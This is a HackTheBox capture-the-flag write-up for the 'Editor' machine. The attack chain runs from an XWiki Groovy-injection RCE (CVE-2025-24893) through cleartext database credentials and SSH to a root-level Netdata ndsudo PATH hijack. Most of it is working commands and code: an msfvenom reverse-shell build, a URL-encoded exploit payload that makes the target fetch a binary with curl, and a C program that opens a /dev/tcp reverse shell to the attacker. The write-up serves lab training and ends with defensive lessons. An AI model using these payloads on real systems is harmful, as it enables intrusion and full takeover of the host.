Editor - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Editor is an easy-difficulty Linux machine that demonstrates web application exploitation combined with local privilege escalation. The target hosts an XWiki instance vulnerable to CVE-2025-24893, a remote code execution flaw in the SolrSearch endpoint exploitable through Groovy code injection. After gaining initial access as the xwiki user, enumeration uncovers cleartext database credentials that permit lateral movement to the oliver user. Further reconnaissance reveals misconfigured SUID binaries in Netdata that can be exploited via PATH manipulation to achieve root access.

TL;DR: XWiki RCE (CVE-2025-24893) → Database credentials → SSH as oliver → Netdata SUID PATH injection → Root

Reconnaissance

Port Scanning

# Initial fast scan to identify open ports
ports=$(nmap -p- --min-rate=1000 -T4 editor.htb | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan with service enumeration
nmap -p$ports -sC -sV editor.htb

Results:

PORT           STATE SERVICE VERSION
22/tcp         open   ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp         open   http     nginx 1.18.0 (Ubuntu)
8080/tcp       open   http     Jetty 10.0.20

Service Enumeration

Port 80 (nginx):

• Static website advertising a code editor
• Navbar contains “Docs” link redirecting to wiki.editor.htb/xwiki
• Footer reveals XWiki version 15.10.8

Port 8080 (Jetty):

• XWiki instance running on Jetty 10.0.20
• Same application as port 80, acts as proxy
• Serves /xwiki/bin/view/Main/ endpoint
• Robots.txt disallows multiple wiki edit endpoints

Port 22 (SSH):

• OpenSSH 8.9p1 available but requires valid credentials

Vulnerability Assessment

Identified Vulnerabilities:

1. CVE-2025-24893 - XWiki SolrSearch RCE via Groovy Code Injection

   • Affects XWiki 15.10.8
   • Endpoint: /bin/get/Main/SolrSearch
   • Allows arbitrary Groovy code execution through text parameter
   • Severity: Critical

2. Cleartext Credentials - Database credentials stored in configuration file

   • File: /etc/xwiki/hibernate.cfg.xml
   • Contains MySQL credentials for database access

3. Misconfigured SUID Binaries - Netdata plugins with excessive permissions

   • Multiple SUID binaries owned by root, executable by netdata group
   • Vulnerable to PATH manipulation attack
   • Binaries: ndsudo, nvme, megacli, arcconf

Initial Foothold

Exploitation Path: CVE-2025-24893 RCE

Step 1: Verify the vulnerability

Download and run the public CVE-2025-24893 proof-of-concept:

python3 CVE-2025-24893.py

The POC sends a URL-encoded Groovy payload to execute cat /etc/passwd. The vulnerable parameter structure is:

}}}{{async async=false}}{{groovy}}
COMMAND_HERE
{{/groovy}}{{/async}}

Step 2: Generate reverse shell payload

Create an ELF executable containing a reverse shell using msfvenom:

# Generate the malicious ELF file
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.42 LPORT=4444 -f elf > shell

# Start HTTP server to host the payload
python3 -m http.server 80

Step 3: Set up listener

nc -lvnp 4444
# Waiting for connection...

Step 4: Upload the shell executable

Modify the CVE-2025-24893 exploit to execute a curl command. The payload needs to be URL-encoded:

Base command: curl 10.10.15.42/shell -o /tmp/shell
URL-encoded:  curl%2010.10.15.42%2Fshell%20-o%20%2Ftmp%2Fshell

Edit the exploit script’s execute() method:

def exploit(target_url):
    target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip())
    exploit_url = f"{target_url}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22curl%2010.10.15.42%2Fshell%20-o%20%2Ftmp%2Fshell%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
    # Send exploit...

Run the modified exploit and verify the shell binary is downloaded:

10.129.231.23 - - [03/Apr/2026 11:21:23] "GET /shell HTTP/1.1" 200 -

Step 5: Chmod and execute

Use the exploit again to grant execute permissions:

chmod +x /tmp/shell

And execute the shell:

bash /tmp/shell

Step 6: Verify shell access

nc -lvnp 4444
# connect to [10.10.15.42] from (UNKNOWN) [10.129.231.23] 40530
whoami
# xwiki

✅ Initial foothold achieved as user xwiki

Lateral Movement

Cleartext Credentials Discovery

Step 1: Enumerate XWiki configuration files

Search for the Hibernate configuration file which typically contains database credentials:

find / -name "*hibernate.cfg.xml*" 2>/dev/null

Results:

/etc/xwiki/hibernate.cfg.xml
/etc/xwiki/hibernate.cfg.xml.ucf-dist
/var/lib/ucf/cache/:etc:xwiki:hibernate.cfg.xml

Step 2: Extract database credentials

Inspect the configuration file:

cat /etc/xwiki/hibernate.cfg.xml | grep -A 5 "connection"

Contents reveal:

<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;connectionTimeZone=LOCAL&amp;allowPublicKeyRetrieval=true</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>

Credentials obtained:

• Username: xwiki
• Password: theEd1t0rTeam99

Step 3: Identify available system users

ls -la /home
# drwxr-x---     3 oliver oliver 4096 Jul 8 2025 oliver

Step 4: Lateral movement via SSH

Attempt SSH login with the discovered password:

ssh oliver@editor.htb
# Password: theEd1t0rTeam99

Step 5: Verify access

id
# uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

cat /home/oliver/user.txt
# User flag: <redacted>

✅ Lateral movement successful as user oliver

Privilege Escalation

Netdata SUID Binary Exploitation

Step 1: Enumerate SUID binaries

Run LinPEAS or manual enumeration to identify suspicious SUID binaries:

find / -perm -4000 2>/dev/null | grep netdata

Output reveals multiple Netdata plugins with SUID bit set:

-rwsr-x--- 1 root netdata 943K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
-rwsr-x--- 1 root netdata 1.4M Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
-rwsr-x--- 1 root netdata 1.1M Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
-rwsr-x--- 1 root netdata 196K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 80K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ioping
-rwsr-x--- 1 root netdata 876K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
-rwsr-x--- 1 root netdata 4.1M Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin

Step 2: Analyze ndsudo capabilities

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

Output shows supported commands including nvme-list which executes the nvme binary:

- Command       : nvme-list
  Executables: nvme
  Parameters : list --output-format=json

Step 3: Create malicious nvme binary

The vulnerability lies in PATH manipulation. Create a C program that sets UID to 0 and spawns a reverse shell:

#include <unistd.h>
#include <stdlib.h>

int main() {
    setuid(0);
    system("bash -i >& /dev/tcp/10.10.15.42/4445 0>&1");
    return 0;
}

Compile the exploit:

gcc -o nvme exploit.c

Step 4: Set up listener

nc -lvnp 4445
# Listening on [any] 4445...

Step 5: Upload malicious binary

Transfer the compiled nvme binary to the target:

# From attacker machine
python3 -m http.server 80

# On target machine
cd /tmp
wget http://10.10.15.42/nvme
chmod +x nvme

Step 6: Manipulate PATH environment variable

export PATH=/tmp:$PATH

This ensures that when ndsudo searches for the nvme executable, it finds our malicious version in /tmp first.

Step 7: Trigger privilege escalation

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Step 8: Verify root access

Monitor the listener for the reverse shell connection:

nc -lvnp 4445
# connect to [10.10.15.42] from (UNKNOWN) [10.129.231.23] 38036

id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
# Root flag: <redacted>

✅ Privilege escalation successful to root

Attack Chain Summary

Initial Access: Port 80 → XWiki 15.10.8 Discovery
                    ↓
Exploitation:   CVE-2025-24893 RCE (Groovy Injection)
                    ↓
Shell Access:   Reverse shell as xwiki user
                    ↓
Enumeration:    Find /etc/xwiki/hibernate.cfg.xml
                    ↓
Credentials:    Extract database password
                    ↓
Lateral Move:   SSH login as oliver user
                    ↓
Priv Esc:       Enumerate Netdata SUID binaries
                    ↓
Exploitation:   PATH manipulation → ndsudo abuse
                    ↓
Root Access:    Reverse shell with UID 0

Tools Used

Key Learnings

Techniques Practiced

• Exploiting Groovy code injection in template engines (XWiki)
• Modifying public proof-of-concept exploits for custom payloads
• Extracting credentials from application configuration files
• Leveraging SUID binaries with insecure PATH handling
• Environment variable manipulation for privilege escalation
• Reverse shell generation and delivery via HTTP

Lessons Learned

1. Template Injection Severity - Template engines like XWiki can execute arbitrary code if user input reaches sensitive template areas. Always validate and sanitize user-controlled data before template rendering.

2. Configuration File Security - Database credentials stored in plaintext configuration files pose a critical risk. Use environment variables or secure credential management solutions instead.

3. SUID Binary Dangers - SUID binaries that rely on PATH lookups are fundamentally insecure. Any executable appearing in the PATH can be hijacked, leading to privilege escalation. Always use absolute paths in SUID binaries.

4. Group Membership Implications - Membership in groups like netdata grants implicit access to privileged operations. Audit group memberships and associated SUID binaries carefully.

5. Defense in Depth - Multiple layers of security (application patching, file permissions, environment controls) are needed. A single misconfiguration can unravel the entire security posture.

6. Payload Delivery Methods - Direct reverse shell payloads may fail due to filtering. Using intermediate compilation (msfvenom → ELF) provides more flexibility in execution contexts.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>